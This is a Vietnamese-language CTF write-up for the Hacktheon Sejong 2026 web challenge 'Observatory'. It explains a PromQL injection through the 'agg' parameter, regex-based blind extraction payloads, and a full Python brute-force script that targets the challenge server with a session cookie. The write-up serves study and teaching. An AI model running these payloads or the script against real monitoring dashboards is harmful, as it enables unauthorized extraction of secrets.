Back to Blog

#A few bittersweet words...

Đây là writeup cho các challenge web vòng sơ khảo Hacktheon Sejong 2026. Một mùa giải khá “nửa này nửa kia” với 2 team BKSec khi không thể đầy đủ tại Sejong 2026.

Nhưng thôi, dù sao ae cũng "slop" hết sức, giờ sang đấy cố "slop" tiếp :D. Hẹn mọi người ở Sejong (nếu you đọc bài này trước 7/2026 :b).


#Observatory

#TL;DR

Description: Our cloud monitoring team built a shiny new dashboard. Each team gets their own metrics namespace. But rumor has it... someone hid a secret in the system metrics. Can you find it?

Challenge là ứng dụng dashboard monitoring sử dụng dùng Prometheus. API /api/query nhận tham số agg và ghép thẳng vào câu PromQL mà không sanitize đúng cách, dẫn tới PromQL Injection. Backend không cho phép dùng các function nhưng bỏ sót toán tử logic or, and,...dẫn tới có thể inject để mở rộng query. Dựa vào logic và sự khác nhau giữa value trả về từ server, blind brute force từng ký tự trong flag.

#Sơ qua về ứng dụng

Khi truy cập lần đầu, ta sẽ được yêu cầu đăng nhập để truy cập dashboard

Tất nhiên là ta sẽ đăng ký và đăng nhập như một người dùng bình thường, dựa vào Response header, ta có thể thấy webapp này được xây dựng trên Node.Js, sử dụng Express với express session

Hoặc đơn giản hơn ta có thể xem bằng Wappalyzer

Sau khi đăng nhập ta được redirect tới trang chủ, ta thấy nó hiển thị tên ở góc phải, nhưng đó không phải là tên ta đã đăng ký. Và có chức năng tên Query Metrics cho phép chọn dropdown một vài lựa chọn và nhập metric name

Dựa vào việc bắt request qua Burp Suite, ta thấy được khi nhấn nút Execute, ứng dụng gửi một request POST tới /api/query với dữ liệu dạng JSON kèm theo 2 trường metricagg ta chọn trước đó

Sơ lược qua ta có thể thấy ứng dụng này có vẻ là một dashboard cho phép ta search hoặc thực thi với thông số gì đó với 2 tham số như trên

#Recon

Recon qua chút về ứng dụng, sau khi scan directory, param ẩn, dịch vụ,... thì không có gì đặc biệt

Hay như xem sources qua devtools hoặc network cũng vậy

Ngoại trừ có một api ta tìm ra được sau khi scan với đường dẫn là /api

Khi request tới api này, ta nhận được một loạt các metrics name

Khi nhìn vào các metrics này, ta có thể thấy một vài cái tên như go_...prometheus_... từ đó ta có thể suy ra phía sau ứng dụng đang sử dụng Prometheus để lưu trữ, theo dõi metric

Ở cuối cùng của response, ta thấy một metric có tên khá "hấp dẫn", đó là secret_config

#Phân tích lỗ hổng

1. Một chút về Prometheus & PromQL Injection

Prometheus là một hệ thống monitoring và alerting mã nguồn mở chuyên thu thập, lưu trữ và phần tích metrics từ ứng dụng, server theo thời gian real-time. Nó hoạt động theo kiểu định kỳ gửi request HTTP/HTTPS tới các service để pull số liệu về mỗi vài giây (hoặc theo cấu hình), sau đó lưu lại và dùng PromQL để truy vấn, tổng hợp thành các thống kê. Khác với các hệ thống dùng SQL, Prometheus sử dụng PromQL là một ngôn ngữ truy vấn cho metrics (eg. sum(http_requests{status="200"})), chi tiết hơn xem tại đây.

PromQL Injection thì cũng y hệt như các loại lỗi injection khác (SQL Injection, XSS,...). Khi dev nối user input vào query PromQL mà không kiểm tra, ta có thể dùng nhiều cách để thoát khỏi query ban đầu và làm server chạy theo ý mình (nếu có thể :v)

2. Phân tích

Quay lại với api /api/query, ta có 2 tham số là metricagg. Về lý thuyết ta có thể inject vào cả hai, nhưng sau khi thử inject vào metric, tôi nhận thấy response không có gì khác biệt (có thể backend validate hoặc filter riêng cho metric). Ta thử một vài giá trị cho agg (ag):

agg="sum": Server trả về dữ liệu bình thường.

Với một vài query function khác, nó trả ra Invalid parameter như hay

Có lẽ backend chỉ chấp nhận các aggregation thực sự, với các function khác ta sẽ không được phép, còn với những function không tồn tại thì nó vẫn được thực thi, tuy nhiên sẽ bị báo lỗi do bản chất function này không tồn tại

Từ đây, ta có thể phỏng đoán ở phía backend, PromQL query có thể sẽ trông như sau:

javascript
const query = `${agg}(${metric}{namespace="${userNamespace}"})`;
const result = await prometheus.query(query);

Tuy nhiên, với toán tử logic (or, and,...), ta có thể sử dụng các toán tử này để nối dài query mà vẫn được backend thực thi. Về định nghĩa, thuộc tính và cú pháp của PromQL, mọi người có thể đọc thêm tại tài liệu chính thức của Prometheus.

Ta kiểm chứng việc có thể inject nối dài query

Giải thích qua chút về payload ta dùng để kiểm chứng suy đoán

json
{
  "metric": "user_active",
  "agg": "sum by (instance) (prometheus_http_requests_total) or on(instance)"
}

Với query ta suy đoán ở trên, sau khi được gửi đi, query sau khi được nối có thể sẽ là:

promql
sum by (instance) (prometheus_http_requests_total) or on (instance) (user_active{namespace="ns1234"})

Trong đó ta chia ra làm 2 phần, vế trái và vế phải của or

  • Vế trái: sum by (instance) (prometheus_http_requests_total), phần ta inject, truy vấn 1 metric bất kì tồn tại, by (instance) nhóm kết quả theo label instance

  • Vế phải: (user_active{namespace="ns1234"}), phần backend ghép nốt vào, trở thành operand phải của or.

Toán tử or trong PromQL, nếu vế trái là vector rỗng thì nó sẽ nhận giá trị của vế phải, và ngược lại

Ta dùng metric user_active ở request, vì sau khi thử một lượt các metric khác thì có vẻ label namespace ta phỏng đoán hoặc label thật sự ở backend là label thuộc metric user_active, còn với các metric khác thì không có label này

Và câu cuối cùng là tại sao lại filter theo label instance, vì label này được Prometheus tự động gắn vào mọi metric khi scrape, nên cả vế trái lẫn vế phải đều chắc chắn có label này, dẫn tới or on(instance) luôn so khớp dù khác metric

#Khai thác

Mục tiêu ta là đọc nội dung metric secret_config. Nhưng backend chỉ trả ra ở response label namespace và trường value

Mặc dù không đọc được trực tiếp từ label được, ta vẫn còn value để có thể khai thác dạng blind theo như việc ta đã kiểm chứng phía trên

Payload:

promql
sum by (instance) (secret_config{flag=~"^hacktheon2026{.*"}) or on(instance)

Khi Backend ghép chuỗi, query cuối cùng gửi tới Prometheus sẽ thành:

promql
sum by (instance) (secret_config{flag=~"^hacktheon2026{.*"}) or on(instance) (user_active{namespace="ns..."})

Payload giống ý tưởng như ta đã phân tích phía trên, chỉ là ta thay ở vế trái bằng metric secret_config với label flag, ta có thể sử dụng =~ nhằm so sánh match từ ký tự trong flag khi chưa biết toàn bộ giá trị value, vì regex được support

Ở payload trên, value được trả ra là 1 do cụm hacktheon2026{ khớp 1 phần value của flag, nên khi vế trái or đúng, nó trả ra 1. Nếu sai, nó sẽ trả ra value của vế phải on (instance) (user_active{namespace="ns..."}), ở đây là giá trị instance của metric user_active

Vậy ta chỉ cần viết một script để tự động hóa việc này, ta sẽ lấy được flag dựa trên luồng khai thác trên với từng ký tự

Flag: hacktheon2026{pr0m3th3us_m3tr1c_s1d3ch4nn3l}

#Exploit Script

python
import requests
import string

URL = "http://54.116.50.13:3000"
COOKIES = {"connect.sid": "s%3AUl8Gk4k2V8GdUOhZGm-kMc-1qW_10cxn.EMO3vmdh6Zjn0jdhaXV%2B5ylsPkNZ6SJpBq5VRBzyANw"}
HEADERS = {"Content-Type": "application/json"}

def oracle(regex):
    agg = f'sum by (instance) (secret_config{{flag=~"{regex}"}}) or on(instance) '
    r = requests.post(f"{URL}/api/query", headers=HEADERS, cookies=COOKIES,
                      json={"metric": "user_active", "agg": agg})
    data = r.json()
    if data.get("results"):
        return data["results"][0].get("value") == "1"
    return False

def extract_flag():
    flag = "hacktheon2026{"
    charset = string.ascii_lowercase + string.digits + "_-}"
    while True:
        prefix = "^" + flag.replace("{", "[{]")
        for c in charset:
            if c == "}":
                test = prefix + "[}]"
            else:
                test = prefix + c + ".*"
            if oracle(test):
                flag += c
                print(f"[+] {flag}")
                if c == "}":
                    print(f"\nFLAG: {flag}")
                    return flag
                break
        else:
            print(f"Not found")
            return flag

if __name__ == "__main__":
    extract_flag()

#Dark Harbor 1

Comming soon


#Dark Harbor 2

Comming soon


#PhantomPass

Comming soon


#PhantomPass Revenge

Comming soon